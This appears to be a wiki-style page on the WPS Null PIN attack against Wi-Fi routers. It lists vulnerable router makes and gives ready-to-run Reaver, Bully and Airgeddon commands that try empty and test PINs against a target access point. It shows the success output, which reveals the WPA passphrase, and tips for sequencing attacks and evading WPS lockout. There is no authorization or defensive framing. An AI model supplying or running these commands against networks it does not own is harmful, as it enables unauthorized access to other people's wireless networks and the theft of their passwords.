WPS Null PIN Attack

The Null PIN attack is a WPS vulnerability where some routers accept an empty or null WPS PIN, allowing authentication without any valid credential. It's far less common than Pixie Dust or PIN brute force, but when it works, it's instant — the attack completes in seconds.

What Is It

Instead of providing a valid 8-digit PIN or brute-forcing, you send a WPS authentication request with a null/empty PIN. Some poorly implemented WPS stacks on older routers simply don't validate the PIN and grant access.

Affected Hardware

Historically found on:

• Some older D-Link routers
• Some older Belkin devices
• Various low-cost ISP-provided routers
• Routers with very old WPS firmware implementations

Not common anymore — most routers were patched, and WPS lockout mechanisms prevent most abuse. But worth trying before spending hours on Pixie Dust.

Testing with Reaver

# Put interface in monitor mode first
sudo airmon-ng start wlan0

# Try null PIN specifically
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p "" -vv

# Try with explicit empty PIN
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 00000000 -vv

# Reaver with null pin flag (some versions)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF --pin="" -vv

Testing with Bully

# Bully null PIN test
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -p "" -v 3

# Try specific test PINs
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670 -v 3
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -p 00000000 -v 3

Airgeddon

Airgeddon has a specific menu option for Null PIN:

sudo airgeddon.sh
# Option: WPS attacks menu → Null PIN attack

What to Look for in Output

Success output from reaver:

WPS PIN: ''
WPA PSK: 'TheWifiPassword'
AP SSID: 'TargetNetwork'

Failure output:

WPS transaction failed (code: 0x03), re-trying last pin
Waiting for beacon from AA:BB:CC:DD:EE:FF

Order of WPS Attacks to Try

When attacking a WPS-enabled AP, recommended order:

1. Null PIN — instant if it works, zero time wasted
2. Pixie Dust (-K 1 in reaver) — offline, fast if router is vulnerable
3. PIN Brute Force — slow, 11,000 guesses max, lockout risk

# Quick check: try null PIN + pixie dust
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p "" -K 1 -vv

WPS Lockout

Most routers will lock WPS after 3-10 failed PIN attempts. Null PIN uses 1 attempt — if it fails, you still have your brute force budget. If lockout triggers, wait it out (usually 5-60 minutes) or:

# Some routers reset lockout after power cycle of AP
# In Reaver, --no-associate helps avoid some lockouts
reaver -i wlan0mon -b BSSID --no-associate -vv

See Also

• future-of-tech-emerging-trends-2023 - WPS overview and main attacks
• airgeddon-wps-attack - Airgeddon WPS menu